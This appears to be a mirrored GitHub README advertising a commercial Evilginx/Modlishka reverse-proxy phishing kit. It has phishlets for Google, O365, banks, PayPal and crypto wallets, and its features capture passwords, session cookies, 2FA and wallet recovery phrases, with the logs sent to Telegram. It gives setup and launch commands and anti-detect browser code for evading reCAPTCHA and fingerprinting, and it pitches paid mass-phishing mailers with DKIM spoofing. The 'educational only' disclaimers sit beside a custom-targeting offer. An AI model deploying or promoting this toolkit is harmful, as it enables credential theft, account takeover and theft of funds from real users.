Evilginx-RProxyLAB

KO | EN

gitlite — search

#python #ios #android #flutter #javascript #react #api #typescript #numpy #rust #django #app

Evilginx-RProxyLAB

★ 69 Open GitHub ↗

RProxy LAB is intended solely for educational purposes and authorized security testing with EvilGinx / Modlishka / EvilPuppet e.t.c tools

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

<h3 align="center">RProxy LAB is a research project aimed at studying reverse proxy server configurations for authentication testing in controlled authorized environments.</h3>

<img src="https://github.com/user-attachments/assets/a074a5ca-1374-4c53-be51-fb1bdf7d2c4d" alt="jsdelivr-logo" width="712px" height="512px"/>
 
 
 This repository provides custom configurations and modifications based on advanced reverse proxy platforms such as Modlishka, Evilginx, EvilPuppet and others. These tools are designed for cybersecurity professionals, penetration testers, and red team employees to explore authentication vulnerabilities and develop secure systems.

<a href="https://rproxylab.gitbook.io/evilginx-lab-by-cfs0x/">RProxy Docs</a>
 &nbsp;&nbsp;|&nbsp;&nbsp;
 <a href="https://github.com/cfs0x/EvilHooked">EvilHOOKED</a>
 &nbsp;&nbsp;|&nbsp;&nbsp;
 <a href="https://t.me/EvilHooked">EvilHOOKED Channel</a>

Web by [Info](https://rproxylab.gitbook.io/evilginx-lab-by-cfs0x/) | follow us on [Twitter](https://twitter.com/cfs0x) | Discord SERVER xCommunity RProxy LAB the [EvilGinx/Modlishka/NodeJS](https://subscord.com/store/1397884713951170610) | Telegram [Contact](https://t.me/cfs0x)

#### Updated iCloud  with data interception - email, password, tokens, cookies + automatic browser profile creation 🔥

https://github.com/user-attachments/assets/d9323cce-ccba-4eb2-90ed-2f497ec47c6d

#### Full update of #Blockchain📷 #phishlets + auto-creation of a browser profile with a full profile backup with the ability to transfer to any browser. Сapture guid, email, password, wallet recovery phrases, cookies, 2FA.

https://github.com/user-attachments/assets/1b6ea0ef-747b-4285-b141-f8af20c69fc8

#### ADDED PROFF Dashboard EvilHooked PANLE 06/2026 Complete replacement of the CLI (full configuration, management, and modification of the EvilGinx tool itself via the dashboard)

https://github.com/user-attachments/assets/72a0006a-cbf0-4f2d-8d39-a7bf387dd30f

#### Note: This project is intended solely for educational purposes and authorized testing. Any unauthorized or malicious use is strictly prohibited. The developer is not responsible for any misuse of the provided materials.

#### Available PHISHLETs : x Google x 0365 x AOL x Yahoo x Binance x Blockchain x OKX x Telegram x ByBit x Icloud x OpenAI x X.com x Facebook x PayPal x Linkedin x Adobe x Bitget x Capital ONE x City x Laposte x Ibank x Privacy x Tonkeeper x Volksbank x Capitalist x BOA x Discord x Amazon x Airbnb x OKTA x Iamconnected.com&PortBase

#### Update OKTA 06/2026 + Automatic profile creation and archiving after the session ends (this way you won't lose cookies, user agent data, and fingerprint will be captured, and your cookies will last a long time)

https://github.com/user-attachments/assets/06846e5a-a06d-48d9-8bad-4e4a2939cded

#### Update Google 06/2026 + Automatic profile creation and archiving after the session ends (this way you won't lose cookies, user agent data, and fingerprint will be captured, and your cookies will last a long time)

https://github.com/user-attachments/assets/785068a0-bebd-4d0f-aae7-aeedf0a521ff

> **INFO** You can also order any other website for "TESTING YOUR SERVICE" All tools and resources are provided for ethical and legal use only, such as authorized penetration testing and security research. RProxy LAB by cfs0x and its creators bear no responsibility for misuse, illegal activities, or any consequences arising from improper application of these tools. Users are solely accountable for ensuring compliance with all applicable laws and regulations.

https://github.com/user-attachments/assets/17280dd7-87d8-4621-9768-086e9c5e2add

<details>
 <summary>Installation Steps</summary>

1. Update Package Lists
     Begin by updating your system’s package lists to ensure you have the latest information on the newest versions of packages and their dependencies.
     sudo apt-get update

2. Install xrandr
     xrandr is a utility for managing screen resolutions and display settings.
     -- Use this option if you want to run Playwright with Xserver (for example, in MobaXterm) so you can view the browser live.
     -- If use "Headless: playwright.Bool(true)," do no need this to install.
     sudo apt-get install x11-xserver-utils
     
  4. Install Google Chrome
     -- Use Chrome only if you choose not to use the browsers included in the Playwright app. In the source you received, you don’t need these installations.
     Download and install the latest stable version of Google Chrome.

```wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
       sudo dpkg -i google-chrome-stable_current_amd64.deb
       sudo apt-get install -f # Install any missing dependencies```
  
  4. Install Go Programming Language
    -- You will need to install the Go language, as the source code is in Go, and to compile it in Linux, you need Go installed.
    Go is essential for running Playwright-Go.
   
    ```wget https://golang.org/dl/go1.20.7.linux-amd64.tar.gz
      sudo rm -rf /usr/local/go
      sudo tar -C /usr/local -xzf go1.20.7.linux-amd64.tar.gz
      export PATH=$PATH:/usr/local/go/bin
      go version```
      
  5. Install Playwright-Go and Dependencies
   -- You need to install the Playwright Go library, as the EvilGinx version for Google uses a module called EvilPlaywright. This module controls a real browser behind the reverse proxy to obtain certain tokens that otherwise cannot be retrieved correctly    due to the different host in the reverse proxy or due to Google detecting browser incompatibilities with video versions, fonts, etc.
   
    ```go get -u github.com/playwright-community/playwright-go
       go run github.com/playwright-community/playwright-go/cmd/playwright@latest install --with-deps
       go install github.com/playwright-community/playwright-go/cmd/playwright@latest
       playwright install --with-dep```

6. Starting EvilGinx
  To launch EvilGinx, execute the following command:

```sudo /root/evilginx2/build/evilginx -p /root/evilginx/phishlets -developer```
 
 [COLOR=rgb(250, 197, 28)]sudo [/COLOR] Runs the command with superuser (root) privileges, which are often necessary for network-related applications or services.
 /root/evilginx/build/evilginx This is the path to the compiled EvilGinx binary. Evilginx2 is a tool often used in phishing simulations or security testing to capture authentication tokens in real-time by acting as a reverse proxy.
 -p /root/evilginx/phishlets Specifies the path where the phishlets are located. Phishlets are configuration files that define the behavior of EvilGinx for specific websites or services (e.g., Google, Facebook). These phishlets contain rules for forwarding requests and capturing tokens and cookies.
-developer: This allows for developer mode It does not use SSL from Evilginx with auto ssl using Let's Encrypt; instead, it will use the SSL settings provided by Cloudflare.
 
</details>

https://github.com/user-attachments/assets/b3f2b02b-d7fd-4800-9060-1726a0e80f55

https://github.com/user-attachments/assets/8f3f9f7c-985f-4ba6-af0a-1cd55e5f595a

#### RProxy LAB aims to provide a collection of proxy configurations and modifications for studying authentication mechanisms. The repository includes:

- Custom configurations for reverse proxy frameworks, inspired by Modlishka, Evilginx, EvilPuppet and others.
- Modifications to enhance functionality for security testing in controlled environments.
- Examples of authentication templates for analyzing session management and token capture techniques.

#### This project is designed for:

- Security researchers studying reverse proxy technologies.
- Penetration testers conducting authorized assessments.
- Developers learning about authentication vulnerabilities in controlled lab settings.

<table align="center">
 <tr>
 <td align="center">
 <video src="https://github.com/user-attachments/assets/8b0b2c85-b333-4bb1-898e-464a770d494e" width="400" controls="controls" style="max-width: 100%;"></video>
 Capture email and password. Bypass 2FA and capture cookies/.The token log is sent to Telegram.
 </td>
 <td>
 </td>
 <td align="center">
 <video src="https://github.com/user-attachments/assets/0ff2b322-a7af-46a4-aaa5-18924f3a35b0" width="400" controls="controls" style="max-width: 100%;"></video>
 Capture Recovery Phrase 12 + 24. Generated Wallet and password. Bypass 2FA and capture cookies/.The token log is sent to Telegram.
 </td>
 <td>
 </td>
 <td align="center">
 <video src="https://github.com/user-attachments/assets/2918c365-7885-4497-acac-9f2ece7e7736" width="400" controls="controls" style="max-width: 100%;"></video>
 Capture Mnemonic + Password. Generated Wallet and password. Bypass 2FA and capture cookies/.The token log is sent to Telegram.
 </td>
 </tr>
</table>

---
Google reCAPTCHA v3 - 0.90 / 1.0
Top-tier score. Google classifies the session as "very likely a human". Most anti-detect stacks plateau around 0.3-0.7.
<img width="1637" height="1076" alt="recaptcha_score" src="https://github.com/user-attachments/assets/2401612a-c257-49f9-9545-7864fe8ff1d4" />

Fingerprint Pro - bot: not detected, VPN: false, tampering: false, dev tools: not detected
FingerprintJS Pro's full Smart Signals battery flips every flag to "Not detected". Browser correctly identified as Firefox 150 on Windows 10. Confidence score 0.9.
<img width="1300" height="1074" alt="fingerprintpro" src="https://github.com/user-attachments/assets/df43f66f-494f-42ce-8828-ea779b8b7983" />

## Usage
### Random fingerprint per session
**100% Playwright-compatible** - sync and async, all methods, zero API changes. If you already use Playwright, switching is two lines:

```diff
- from playwright.sync_api import sync_playwright
- with sync_playwright() as p:
-     browser = p.firefox.launch()
+ from invisible_playwright import InvisiblePlaywright
+ with InvisiblePlaywright() as browser:
```

Every session gets a unique, coherent fingerprint drawn from real-world Firefox telemetry (GPU / audio / fonts / ~400 other fields) and Bezier-curve mouse motion baked into the browser itself.

**Sync**
```python
from invisible_playwright import InvisiblePlaywright

with InvisiblePlaywright(proxy={"server": "socks5://...", "username": "u", "password": "p"}) as browser:
    page = browser.new_page()
    page.goto("https://example.com")
    page.click("#submit")   # mouse arcs to the button on a Bezier curve
```

**Async**
```python
from invisible_playwright.async_api import InvisiblePlaywright

async with InvisiblePlaywright(proxy={"server": "socks5://...", "username": "u", "password": "p"}) as browser:
    page = await browser.new_page()
    await page.goto("https://example.com")
    await page.click("#submit")
```

The `browser` object is a `playwright.sync_api.Browser` / `playwright.async_api.Browser` - every Playwright method works as-is.

---

### Random fingerprint per session

```python
from invisible_playwright import InvisiblePlaywright

with InvisiblePlaywright() as browser:
    page = browser.new_page()
    page.goto("https://creepjs-api.web.app")
```

Every call samples a new coherent profile. Log the seed to reproduce interesting runs:

```python
sf = InvisiblePlaywright()
with sf as browser:
    print("seed =", sf.seed)
    # ...
```

### Reproducible fingerprint

```python
with InvisiblePlaywright(seed=42) as browser:
    ...   # same GPU, same canvas hash, same audio context, every run
```

### Proxies

```python
proxy = {
    "server": "socks5://gate.example.com:1080",
    "username": "user",
    "password": "pass",
}
with InvisiblePlaywright(proxy=proxy) as browser:
    ...
```

Schemes supported: `socks5`, `socks4`, `http`, `https`. Auth works on all of them (SOCKS5 via patched `nsProtocolProxyService.cpp`, HTTP/HTTPS via Playwright). DNS is routed through the proxy by default, no local leak.

### Pinning specific fingerprint fields

By default everything comes from `seed`. To force specific values while the rest stays seed-derived:

```python
with InvisiblePlaywright(
    seed=42,
    pin={
        "gpu.renderer": "ANGLE (NVIDIA, NVIDIA GeForce RTX 4090 Direct3D11)",
        "gpu.vendor":   "Google Inc. (NVIDIA)",
        "screen.width":  2560,
        "screen.height": 1440,
        "hardware.concurrency": 16,
    },
) as browser:
    ...
```

### Usage

The configurations in this repository are intended for use in authorized testing environments only. Ensure you have explicit permission from system owners before deploying any tools or configurations. Follow these guidelines:

- Use in controlled lab environments or with explicit authorization.
- Refer to the documentation of Modlishka, Evilginx, EvilPuppet and others for setup instructions.
- Avoid deploying configurations in production or unauthorized systems.

## Resources
Visit [RProxy LAB](https://rproxylab.gitbook.io/evilginx-lab-by-cfs0x/) for detailed documentation, tutorials, and live examples of RProxy LAB configurations.

## RProxy LAB by cfs0x: Ultimate RProxy and Proxy Powerhouse

Step into the shadows of elite cyber operations with RProxy LAB by cfs0x—a premier Discord community for phishing virtuosos, proxy wizards, and red team operatives. This is your gateway to cutting-edge tools, exclusive training, and a tight-knit network of experts. Subscription unlocks a treasure trove of resources designed to dominate credential harvesting, bypass defenses, and execute flawless social engineering campaigns.

What You Get with Your Subscription:

- Private Phishlets & Mods: Tailored phishlets for Evilginx2, targeting banks, social media, and corporate logins. Custom mods for maximum stealth and scalability.
- SPMT and Mailer Arsenal: High-powered SMTP mailers for mass phishing, with DKIM spoofing and anti-spam evasion. Send undetectable campaigns at scale.
- Evilginx Web Control Dashboard: Enhanced dashboard for Evilginx—manage sessions, route proxies, and capture credentials in real-time with a sleek, intuitive interface.
- Modlishka Upgrades: Advanced Modlishka mods for reverse proxy phishing—SSL stripping, multi-domain support, and custom hooks for seamless attacks.
- Evilpuppet Modules: Pre-built modules for Evilpuppet—automate browsers for credential stuffing, session hijacking, and puppeted ops with precision.
- Node.js Phishing Projects: Full-stack phishing solutions on Node.js—Express backends, React frontends, API-driven data exfil, and obfuscated payloads. Ready-to-deploy with auto-scaling scripts.
- Exclusive Training & Workshops: Hands-on courses on phishing tradecraft, proxy chaining, and red team tactics. From beginner to pro—master the art of deception.

### Red Team Community: Collaborate with seasoned red teamers. Share strategies, troubleshoot ops, and join live phishing simulations. Get real-time mentorship from the best.

### Why Join RProxy LAB?
Elite Tools: Access battle-tested, private resources unavailable in open-source circles.
Expert Network: Connect with a global crew of ethical hackers and pen-testers for knowledge exchange and support.
Continuous Updates: Stay ahead with regular tool drops, mod updates, and cutting-edge techniques.

### Legal Disclaimer:

All tools and resources are provided for ethical and legal use only, such as authorized penetration testing and security research. RProxy LAB by cfs0x and its creators bear no responsibility for misuse, illegal activities, or any consequences arising from improper application of these tools. Users are solely accountable for ensuring compliance with all applicable laws and regulations.

DM to join the elite. Unleash your potential—ethically, ruthlessly, brilliantly.

## Community and Support
Join our community for discussions and support:
- [Discord Server](https://subscord.com/store/1397884713951170610)
- [Issues Page](https://github.com/cfs0x/RProxy-LAB/issues) for bug reports and feature requests.

### Contributing
Contributions are welcome! If you have ideas for improving configurations or adding new templates, please submit a pull request. Ensure all contributions align with the educational and ethical goals of this project.

### License
Licensed under the MIT License for educational and authorized security testing purposes only. See LICENSE for details.

Evilginx-RProxyLAB

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README